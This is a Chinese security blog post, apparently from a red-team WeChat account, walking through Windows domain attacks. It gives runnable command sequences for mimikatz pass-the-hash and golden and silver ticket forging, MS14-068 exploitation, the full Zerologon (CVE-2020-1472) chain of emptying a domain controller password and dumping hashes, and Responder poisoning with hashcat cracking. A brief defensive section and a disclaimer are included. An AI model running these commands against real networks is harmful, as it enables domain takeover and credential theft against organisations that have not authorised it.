Windows认证基础篇(二)
2023-2-28 21:24:2 Author: Z2O安全攻防(查看原文) 阅读量:80 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文


欢迎投稿原创文章,投稿两篇原创技术文章可免费获得《Z2O安全攻防》知识星球一年使用权限

本文来自 Z2O安全交流群[email protected]

接上文:

Windows认证基础篇(一)

PTH(哈希传递)

上线之后,提权

使用logonpasswords或者hashdump抓一下管理员的ntlm

mimikatz sekurlsa::pth /user:administrator /domain:xibaqu.com /ntlm:babf03777e2b84adcd6d6ef99801d9f5将HASH注入内存

得到dc IP后可以进行攻击shell dir \\192.168.232.135\c$

jump psexec 192.168.232.135即可实现将域控机器上线

PTT(票据传递攻击)

# administrator权限下运行
mimikatz privilege::debug
# 查看krbtgt NTLM Hash
mimikatz lsadump::dcsync /user:krbtgt

# 普通域用户下执行
# 查看现有票据
mimikatz kerberos::list
shell klist

# 清空票据
mimikatz kerberos::purge
shell klist purge

Golden Tickets(黄金票据)

黄金票据的特点:

  1. 1. 需要与DC通信

  2. 2. 需要krbtgt用户的hash

  3. 3. sid 域名称 NTLM Hash 随便的一个用户名

PS:这里的krbtgt hash就是KDC Hash

# CS
mimikatz kerberos::golden /user:伪造的用户 /domain:域名 /sid:域的SID /krbtgt:krbtgt的NTLM Hash /ptt
# MSF Kiwi
meterpreter > load kiwi
meterpreter > kerberos_ticket_
meterpreter > golden_ticket_create -d payloads.online -k 0bac11933e9692de6df293ac1f992336 -s S-1-5-21-1350950498-1859493396-1545562470-502 -u qixi -t /tmp/krbtgt.ticket 
meterpreter > kerberos_ticket_use /tmp/krbtgt.ticket

具体实验:

 


常见问题
GetNCChanges: 0x000020f7 (8439) 关于这个问题,如果是steal_token到administrator权限的话是不成功的,如果是administrator直接允许的beacon是可以的

Silver Tickets(白银票据)

白银票据的特点:

  1. 1. 不需要与KDC进行交互

  2. 2. 需要目标服务的NTLM Hash

在第三步认证中的Tickett的组成:Ticket=Server Hash(Server Session Key+Client info+End Time)
当拥有Server Hashl时,我们就可以伪造一个不经过KDC认证的一个Ticket.
PS:Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是干什么的
所以,一切凭据都来源于Server Hash

mimikatz kerberos::golden /domain:<域名> /sid:<域SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内所有服务器的票据,也不能通过TGT申请.因此只能针对服务器上的某些服务去伪造,伪造的服务类型列表如下:

服务注释服务名
WMIHOST、RPCSS
Powershell RemoteingHOST、HTTP
WinRMHOST、HTTP
Scheduled TasksHOST
LDAP、DCSync(能搞到手的)LDAP
Windows File Share(CIFS)(能搞到手的)CIFS
Windows Remote Server Administration Tools(能搞到手的)RPCSS、LDAP、CIFS

如何防御?

  1. 1. 尽量保证服务器凭证不被窃取

  2. 2. 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能,PAC主要是规定服务器将票据发送给kerberos服务,由kerberos服务验证票据是否有效

开启方式:将注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Paramerers中的ValidateKdcPacSignature设置为1

Tickets 总结

  1. 1. 攻击面

    1. 1. 黄金票据:获取krbtgt用户的hash后,可以在域中进行持久性的隐藏,并且日志无法溯源,但是需要拿到DC权限,使用黄金票据能够在一个域环境中长时间控制整个域

    2. 2. 白银票据:伪造白银票据的难度比伪造黄金票据的难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵,并且容易被转储Server Hash

  2. 2. 防御面

    1. 1. 黄金票据:需要经常更新krbtgt的密码,才能够使得原有的票据失效.最根本的办法是不允许域管账号登录其他服务器

    2. 2. 白银票据:需要开启PAC认证,但这会降低认证效率,增加DC的负担,最根本的还是要加固服务器本身对外的服务

Kerberos-MS14-068

漏洞原理

  1. 1. 在Kerberos认证过程中,TGT和ST(Service Ticket)都包含了一个PAC,PAC中包含两个信息,用户SID和用户组SID;

  2. 2. KDC会通过使用Client端在请求中指定的算法来解密PAC及校验数字签名;

  3. 3. 这样便可以通过修改PAC中用户的SID和用户组的SID来伪造身份

利用前提

  1. 1. 没有KB3011780补丁

  2. 2. 拿下一台域内机器

  3. 3. 拥有拿下的域内机器的密码和SID值

漏洞利用

ms14-068exe

  1. 1. 普通域用户直接访问域控内的C盘目录

  2. 2. whoami /user查看本机用户信息,记录用户名和SID值

  3. 3. 进入MS14-068目录,使用以下命令

# MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

ms14-068.exe -u [email protected] -p 123cc.com -s S-1-5-21-1350950498-1859493396-1545562470 -d WIN-J9DI4RNST76

  1. 1. 打开mimikatz,注入上一步获得的票据

mimikarz > kerberos::purge # 清空当前凭证
mimikarz > kerberos::list # 查看当前机器凭证,确保没有任何凭证
mimikarz > kerberos::ptc xxx.ccache # 将上一步生成的票据注入到内存中
  1. 1. 成功,再次列出C盘域控目录

shell dir \\WIN-J9DI4RNST76\c$
  1. 1. 使用psexec获取shell,在普通域用户机器上执行

PsExec.exe \\192.168.64.129\  cmd.exe

impacket-goldenPac

在普通域用户机器上创建socket代理

proxychains4 impacket-goldenPac qixi.com/zhanghan:[email protected]

zerologon(CVE-2020-1472)

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

这里使用Zerologon_tester[1]工具验证漏洞是否存在,使用Zerologon[2]工具复现
验证是否存在漏洞:

git clone https://github.com/SecuraBV/CVE-2020-1472.git
python3 -m pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
python3 zerologon_tester.py WIN-J9DI4RNST76 192.168.64.129

将域控密码打空

这里打空的用户是域控所在机器的账户,并不是域控账户

# python3 set_empty_pw.py DC_NETBIOS_NAME IP
python3 set_empty_pw.py WIN-J9DI4RNST76 192.168.64.129

使用空密码dump域控上的hash

# impacket-secretsdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/[email protected]_ip_addr'
impacket-secretsdump -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'qixi.com/[email protected]'
# 如果遇到ImportError: cannot import name 'KeyListSecrets' from 'impacket.examples.secretsdump' (/usr/local/lib/python3.10/dist-packages/impacket/examples/secretsdump.py)错误,升级impacket包
python3 -m pip install --upgrade impacket


可以看到WIN-J9DI4RNST76$用户hash已被替换为31d6cfe0d16ae931b73c59d7e0c089c0(空)

使用administrator的hash横向过去

impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 qixi.com/[email protected]

获取计算机账号原始hash

chcp 65001
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
lget system.save
lget sam.save
lget security.save
del /f system.save
del /f sam.save
del /f security.save

获取计算机账号原始hash

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

还原原始hash

python3 reinstall_original_pw.py WIN-J9DI4RNST76 192.168.64.129 92c00c9b9af84b178303ae05f49f052a

查看是否还原成功

impacket-secretsdump qixi.com/administrator:[email protected]@192.168.64.129 -just-dc-user 'WIN-J9DI4RNST76$'

上线CS

Responder

Responder下载地址:https://github.com/lgandx/Responder

Responder工具可以污染LLMNR和NBT-NS请求。

首先假设连接到Windows活动目录环境(Windows Active directory),当网络上的设备尝试用LLMNR和NBT-NS请求来解析目的地机器时,Responder就会伪装成目的地机器。当受害者机器尝试登陆攻击者机器,responder就可以获取受害者机器用户的NTLMv2哈希值。

在demo攻击中,讨论了2种攻击。

获取NTLMv2哈希值,并使用Hashcat密码破解工具。

使用Responder和Multirelay.py脚本,脚本负责执行NTMLMv2哈希值中继到SMB签名未启用的机器上。如果中继成功,就可以访问目标机器。

https://xz.aliyun.com/t/3560

Kali设置监听

responder -I eth0

破解hash得到密码

hashcat -m 5600 hash


在获取了明文密码后,就可以用该密码登陆Windows域名上的其他机器来尝试是否可以访问其他机器上的敏感信息。

引用链接

[1] Zerologon_tester: https://github.com/SecuraBV/CVE-2020-1472
[2] Zerologon: https://github.com/risksense/zerologon

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247492588&idx=1&sn=6fa7baf1078cbc10136a18cd0a1470db&chksm=ceab08acf9dc81ba96c3c228ff3091a745927cd8e81af9881720ade01b68472b4a78a3c5f26a#rd
如有侵权请联系:admin#unsafe.sh